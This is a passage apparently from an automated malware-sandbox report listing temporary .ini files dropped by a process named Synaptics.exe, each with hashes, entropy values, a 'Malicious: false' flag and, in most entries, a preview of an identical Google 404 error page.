Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="gW9qRjO16ueAyQMfsasPtA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Yesoqck.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2498101413474965
Encrypted:	false
SSDEEP:	24:GgsF+0gSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+n+pAZewRDK4mW
MD5:	F31BF5CDC685B101B9228E90B648A012
SHA1:	5C5FF13C29D2ABADABEA3F2463E1D3F9515C759E
SHA-256:	99B6CB6C2CD5BD6189B5A5EF6D26D6466539ED6C07AE354F25AAD316C1FE3EBC
SHA-512:	885BA712BD6DBED229E5D2A6EA5B524BC59D5500A43B7C8652526A0B19868312AD5BE3A9203257120408807A9BCD23B61DCFF692D7D27EFFCE2CF1D7F496E828
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Ge1hzn_kadvqs7rGyEkwDA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ZyQ4L1N.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257681534033065
Encrypted:	false
SSDEEP:	24:GgsF+0DGSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+t+pAZewRDK4mW
MD5:	B9977FB7250103CEF3F44CEF5827E8A2
SHA1:	2851FAF212C43326B46D3FE77949016A6D93043F
SHA-256:	DDCF5CB87D9B50FB0AC7CA85CA99B3BA30FEB3618BA657475F209A25FBDFD46A
SHA-512:	6C58DA103BE0DC52489B68DD7B953767883415C39DF7E3A506E09676D2D7A22CE6F07E6DD2388C4FA9B3DF6ED81E5257934C84688DB77CBCB9DE676873814661
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="7MRrYOmbF-YhklmgxyXQ6g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\aN4sPQp.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260493746892651
Encrypted:	false
SSDEEP:	24:GgsF+0ZgSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+d+pAZewRDK4mW
MD5:	AB4514F748CF2CB7B909CBBE01872F31
SHA1:	E5DFC0D41425220359B225FECBBAA46235214EB3
SHA-256:	CF6BE7562FAE71F42782449DEB91F1AB197B60E8C550F876D6DB1972B3E96CCA
SHA-512:	DA77A2B6AB445738C98A13EED5784BB9132F0CD8F528C688F9DCF6ED50830C56ACB2899AE7460F73D7DEC94ADA93838500E7E2836C88D5568552F93E644D143A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="vTOcjnUc_0a8GM_9gg8CyA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\bEFplpm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2581528616593864
Encrypted:	false
SSDEEP:	24:GgsF+0a1XSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+PX+pAZewRDK4mW
MD5:	CDF4E968F87A8E634175683ACF2EE631
SHA1:	2E63E860AB822C29527868FD62A0A3A8FC7181D2
SHA-256:	B004702DD907F7744C433841F8C4231BD4406FF4623B7878294A23BCF7393B90
SHA-512:	EF60041A6B436B1D47E039E8F90AC4AE800D5E006EF6EB6948C2B758778FC2CF46C9C4DBB090814C4446D8A1802A34374DF7663EAE3EE3DFE640095605394796
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ECYOmN2-oHCcAruo1Bx2Uw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\cZjSmrs.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.276338258721935
Encrypted:	false
SSDEEP:	24:GgsF+0lISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+EI+pAZewRDK4mW
MD5:	25EEC5150465F02F14CBA2371761CF18
SHA1:	F6FA0F0FEF800984E8E38F4C4DE71F31384561A3
SHA-256:	DDDC2F962375319E3E66D8CAC7C2A3DD9D9BA55C0DE482AA6DE9F92536FDF3E0
SHA-512:	24E8877C00329E4938BF080FBCE29A7B8751B742F3F4A659FAD3B34B47E26B13DFA369F1024081E8D9F29AE721271EB30809D150523515072953F0289E722687
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9Xl9QutGQZWHTHGnZQPAvQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\e5dJ4kc.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.251469619626625
Encrypted:	false
SSDEEP:	24:GgsF+0nyASU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+4+pAZewRDK4mW
MD5:	074F86EDF28A855E941A279E64028B49
SHA1:	D9F98A3470A3BA383B3A91191DD0BB1C9BDB9771
SHA-256:	B345239236F1D82978DA123B8D9A0CEB3F9024B9277D4EF82A9D93D88E70D544
SHA-512:	72369828875473C9591711F72A4566E34958EC3463541DF8E23D0814FC52A06670083D751E360798E29831E66FF619B4F671024B7194C7503AE4A351AE218984
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GzoSm4w7Cd8wiVsm8SnsXw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\enJEHvk.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2684765161821945
Encrypted:	false
SSDEEP:	24:GgsF+0ISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+P+pAZewRDK4mW
MD5:	08EF7468432B79C84873D149E92F0729
SHA1:	CFC3E52168C9B6ED53FAC239F8D76E1FF63D11EE
SHA-256:	1DB33D8B581FC260E87311E20C6E144167676E117AF04F364C17773EEF58ABE3
SHA-512:	9AD4E4386987A2752A2997BB44005E4AEF3BDFDFC031D5510397EECE09CC32DBA38F0EFF4E2B01EC5301052DDE8680857F4E395E220DFA3A9C17DBEF2CBC1224
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="zz61ShbBKDRU3GEc2vt2Hg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\fJ4AtkK.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.279981198439585
Encrypted:	false
SSDEEP:	24:GgsF+05SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+u+pAZewRDK4mW
MD5:	CAAD5DDABCFCD50D914785AA61F7A0DA
SHA1:	DC836C5915499C5D2245B570D9556A855B1647E3
SHA-256:	4C94BE57036AD1DE3A30DAAE9FF8F424B62EC40F0AB6DB130050F1A26C31A57D
SHA-512:	2687BB5768BD90F7222B5659001EA1B1797B1660B07CF9568DF027FD48F20534CB87C2FCF20396B0421DE954E42ADAC76C1A0B8CD0F13110F8EB9E4D60633310
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="MFCSZI46F4CXcVDEATnu8g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\fn2Eelk.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255378808547327
Encrypted:	false
SSDEEP:	24:GgsF+0t8SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+88+pAZewRDK4mW
MD5:	5A6D9C3D5E3AEBBAFA0C57C7E54A7965
SHA1:	3D1CE6C97CDB3ADED6A8DADE30F42DEB32F5BEDB
SHA-256:	1F595E6258974570A690B44971D587E44424BE11047AFEF225CF997DE1773BD2
SHA-512:	07A7249FE5D91059191E751E00242B392E212E53D8EC2531BC9B7025206856FE0D3F10F76C25460A7BEFEFFE184FFCAA2285B4B36B040AD0E203AD41BD3454F8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="yVGDNpnr4G4h44tLtwZXzg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\gJr6TqV.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26267924667872
Encrypted:	false
SSDEEP:	24:GgsF+0QJSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+j+pAZewRDK4mW
MD5:	2E5342D3115F97A1735117265F5500D3
SHA1:	E59E363FE89A57708817486D9CF93235AF7FD851
SHA-256:	8AF13BE700E5A13FD3DF1A2B6992E2882E442CB8799EDF82D18C1B8B135E23BE
SHA-512:	E63C47B0B45EAD9DC2DB0D4BD1D9E455A8A9DE02CC2A48F669AC9A52B0463826CB9E9862B1D54F3606CC6187BFCCB05018CBC42C902E0BB8DBA567A457C443A4
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ToSSXufEJF1IpgLzmAvwgA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\hdrIZ2H.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.252427454046957
Encrypted:	false
SSDEEP:	24:GgsF+0TcSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+/+pAZewRDK4mW
MD5:	ADA11FEE7F2E3BCDF286647C62654014
SHA1:	2AC3EFC6C8F45A1C278C03574E8ECB176C437F4F
SHA-256:	46F9BF038058B275B4CCC66181BE267B7860F625324AE0E2105A0A7CDC0C787D
SHA-512:	C12554754444B9AE9E24A22F19D31BD8D4F9AD979B30CD1CA2EA7A1118B8972D343D5A06FB1875647A6E877922C4396D6266BF143D58320FB7D3A3FFBB6BC82E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="RmXJodmbKy7lJ8zd_i-LEw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\henDAqW.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26055834095485
Encrypted:	false
SSDEEP:	24:GgsF+0fSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+w+pAZewRDK4mW
MD5:	0E88D28A5878C6AF31C83416B8509DF1
SHA1:	3487C0C3472AF2177C66AB407C3C968FB1529E98
SHA-256:	3AED130E59A55433FDC184A442CB082465D65458B3ED36C6CE8D93AF946674D9
SHA-512:	48E00A188F726CCD89989570768A941152CD3B3520FC22FC883BE0FCAC7B24922CD998C5FC43AC63F4251CAD0545307172FD29601F0EAB710D47173C9213E8D5
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NTlcSOCWm2wRst-IjHrenQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\igNIBMK.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2575031430860655
Encrypted:	false
SSDEEP:	24:GgsF+0tmDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+s2+pAZewRDK4mW
MD5:	3B0BC2CCA3F3F14708E0BE45A54D90F5
SHA1:	FE7A6BD224045C9B6921053396746ED34C89D990
SHA-256:	AEC4DA9C753DD05740F3FD7B4988D790B966E041A8FFA9C7137FFD489383BE54
SHA-512:	2651DC31C1E643B5104889711C105FB41DF54E3E720D74DE88332CFA9E528FE2D97ACBFF2D06659AFC6C3435FAAF0ED5585854CAE915D5405C284F376E35C63A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="rtYwQ-dac7M7cwVSTXFdTQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\jOo5u1T.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.27309901729138
Encrypted:	false
SSDEEP:	24:GgsF+07SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+w+pAZewRDK4mW
MD5:	A45099FA7A666EAA775201A4FADCA1E4
SHA1:	DDA28EE3521CB8750BAF01B10B674BDD1348FC04
SHA-256:	B346ADEFCFE7A8F33F602ED224FB6F4370B3C95E4F6AF7B67E24E292B556B0A2
SHA-512:	BBC194A8B4DC65037DB6D091396B01455401DE54DBDDD3D845368233FDBEDC406ED5429F49DE0B7ECAFCCEE24A86F2E9748623E63D9E575D3B2F985C07BEA3C5
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="2U6FVjR6wNcrGQIXA2Cr5w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\jSxycpj.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257512002907623
Encrypted:	false
SSDEEP:	24:GgsF+0g+SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+F++pAZewRDK4mW
MD5:	17D735857CB58564FDD68FE2679E1F7D
SHA1:	2B18C39D988A502FF538A8289DD5883F55F1D517
SHA-256:	62D8E2CFF1E56E772E06227F0CCBC878550A6D61314DE4EB935D577F9F90D4B2
SHA-512:	61E1C64CA521AF41999CE4511393357E14C4EAD39E9B3FA2659DDB47763C351D1FE197EE53CE234486DFECC84D441C97E8EB76CC1B1C3029CA88925E38B03FA3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ipoVvILledeULVO-tU88jQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\kwcHCOH.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26192996917989
Encrypted:	false
SSDEEP:	24:GgsF+0wvlSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+bt+pAZewRDK4mW
MD5:	08BA8F4981B37368A173AEE42105D538
SHA1:	7F33C97063877DC5268925B7A7BA223A151ADD91
SHA-256:	8E865012D6D4649743E28479638AD7D45ACB7FF0A4CBED9FF28904142D565341
SHA-512:	F83DF1C15DCE86228ED7EA849984330B6931DB4A7B4BC1D73BB6C2D7899D5E761FD444C987592E0B5DE50BDD5B32350F7F3A6FED4BDB1677304FF70BAB66B267
Malicious:	false
